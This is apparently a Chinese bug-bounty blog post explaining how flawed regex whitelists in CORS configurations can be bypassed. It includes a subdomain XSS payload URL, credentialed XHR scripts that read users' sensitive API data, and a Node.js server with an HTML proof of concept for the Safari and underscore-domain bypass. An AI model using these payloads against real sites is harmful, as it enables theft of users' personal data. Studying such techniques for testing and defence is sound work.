最近一直在挖CORS配置错误这个问题,但是还没找到像样的案例,就先归纳一下这个漏洞,顺便记录一下学到的新姿势,希望对大家有所帮助
在阅读本文之前,你应该已经知道什么是CORS了,以及CORS配置错误会带来的安全问题,当然不懂也没关系,我用几句话简单给大家描述下这个问题。
CORS基础
CORS的全称是跨域资源访问,我们都知道同源策略(SOP)限制了我们的浏览器跨域读取资源,但是我们在设计开发一些网站的时候,本来就需要跨域读取数据,但是因为有同源策略的存在,我们要跨域就太麻烦了,所以cors应运而生,这个策略可以帮助我们跨域读取资源,具体的做法如下:
-
当你要发起一个跨域请求时,你的请求头里需要带上Origin头,表明你这个请求来自哪个域 -
服务端在收到这个请求头的时候,会返回一个access-control-allow-origin头,这个头的值会表明目标服务器是否接受这个跨域请求,如果目标服务器接受这个跨域请求,浏览器就会接受响应,否则浏览器就丢弃这个响应
下面的例子就是一个典型的CORS请求与响应
GET /api/return HTTP/1.1
Host: www.redacted.com
Origin: evil.redacted.com
Connection: close
HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: evil.redacted.com
其中响应中的Access-control-allow-origin
头指示了目标域接受来自哪个域的跨域请求
而这个头的值是在目标域的服务端进行配置的,一般这个头的值都会设计成一个白名单,而这个白名单的设计方式就是通过正则实现
本着有正则的地方就会有绕过的原则,我们开搞
情景1
^https?://(.*.)?xxe.sh$
这个正则表明该域接受所有来自xxe.sh
域及其子域的请求,这里的配置是没啥问题的,但是如果xxe.sh
子域存在xss漏洞或者子域名劫持漏洞的话,那么我们就可以利用了
那有人就要问了:“到底怎么利用🦆?我是小白”
ok,我们看一个实例吧,以www.redacted.com/api/return
这个接口为例
它的cors配置就类似上述正则那样,允许所有子域访问,经过一番搜索,我在他的一个子域banques.redacted.com
发现了一处xss,payload如下:
https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1
可以弹窗了,现在我们要做的就是把弹窗代码改为偷取敏感信息的代码(/api/return
这个接口会返回一些用户敏感信息,例如名字、邮箱地址等等),payload如下:
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
放到url中变成这样:
https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1
我们只要把这个链接发送给受害者,他一点击,就会弹出敏感信息
上面的代码只是从/api/return
接口获取了敏感信息然后使用alert展示了出来,我们在利用的时候可以直接使用xhr把获取到的敏感信息发送到我们的服务器
就这个漏洞,在国外获得了7000块的赏金,不得不说国外给的钱是真的多,🐻弟们都去国外挖吧,赚老外的银子
情景2
我们看一下另外一个正则配置
^https?://.*.?xxe.sh$
🐻弟们,快来找不同,这个正则和上面那个有啥区别,怎么利用?
这个正则就是比较典型的错误配置🌶
因为.*.
不是作为一个正则的group,这个?
是单独作用在.
号上的,因此我们可以使用totallynotxxe.sh
这个域名绕过
关于这种配置错误还是比较常见的,案例见:
https://hackerone.com/reports/168574
情景3
^https?://(.*.)?xxe.sh:?.*
这个配置允许所有来自xxe.sh
域、它的子域以及这些域上任何端口发送过来的请求跨域访问
这次问题出在哪里?
其实和上一个🌰差不多,?
符只作用在:
上,所以我们可以用类似这样的origin头绕过xxe.sh.evil.com
情景4
上面都是比较普通的情况,也是我们挖洞时重点会关注的情况,下面我们来看一个不那么普通的
那Apache的配置举例:
SetEnvIf Origin "^https?://(.*.)?xxe.sh([^.-a-zA-Z0-9]+.*)?" AccessControlAllowOrigin=$0
Header set Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin
这里的配置允许所有来自xxe.sh
、其子域、以及它们所有的端口的跨域请求
和上面不同的是,这里关于端口的正则相对严格一点,要求不能出现.-a-zA-Z0-9
这些字符,所以,上面的利用方式已经不管用了,当然,我们还是可以通过寻找子域的xss以及域名劫持来利用,这两个手法是万能的...
既然不能使用上面这些字符,那么我在xxe.sh
后面加个空格可不可以绕过呢?来👀效果
这不就绕过了吗,美滋滋~
然而,这种方式在浏览器里并没有用,浏览器根本就不会向这种域名发起请求
浏览器在发起请求前会检查域名是否合法
但是,通过正则我们已经知道xxe.sh
后面是可以加一些特殊字符绕过的,只是浏览器不支持而已
但是真的是所有浏览器都不支持所有的特殊字符吗?
不是的,safari就支持很多特殊字符的域名
我们用<@$&(#+_^%~>.withgoogle.com
这个域名测试一下,之所以选择这个域名是因为withgoogle.com
支持泛解析
不知道什么是泛解析?去补补课?
dns可以正常解析这个域名,接下来我们看看浏览器三巨头对这个域名的支持情况
chrome:
firefox:
safari:
和前面两个浏览器不同,safari报了400错误,其他两个都是直接地址不可达,safari实际上是发送了请求的,除此之外,这里还有很多其他的特殊字符可以尝试一下,例如:
,&'";!$^*()+=`~-_=|{}%
// 不可打印字符
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
所以,针对上面那种情况,我们完全可以在safari里面完成利用
利用步骤大概如下:
-
准备一个开启了泛解析的域名,这个域名指向你的主机 -
NodeJS
为啥要准备NodeJS呢?
因为Apache和Nginx对这些有特殊字符的域名支持都不太好,所以,我们直接用NodeJS在我们的主机上搭建一个Server比较好
serve.js
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80
http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type':'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);
然后在同目录下创建一个cors.html
:
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://x.xxe.sh/api/secret-data/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
然后运行命令node serve.js &
启动NodeJS server
然后使用safari访问http://x.xxe.sh{.<your-domain>/cors-poc
就可以从目标域偷到敏感数据了
上面这个payload只是在safari可以利用,有点没意思
那么有没有一个符号是在所有浏览器都支持的呢?
_
闪亮登场
_
这个符号在chrome和firefox都是支持的,所以,我们可以利用http://x.xxe.sh_.<your-domain>/cors-poc
在所有浏览器上实施攻击
下图是个浏览器对域名中的特殊字符的支持情况,可以看到_
在所有浏览器都是可以解析的
但是如果让我们在挖掘的时候一个一个试这些特殊字符是否被access-control-allow-origin
接收是很难受的,所以...
工具都给大家准备好了:
https://github.com/lc/theftfuzzer
关于这种情况也是有相关实例的,见:
https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397
怕什么真理无穷,进一寸有进一寸的欢喜
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论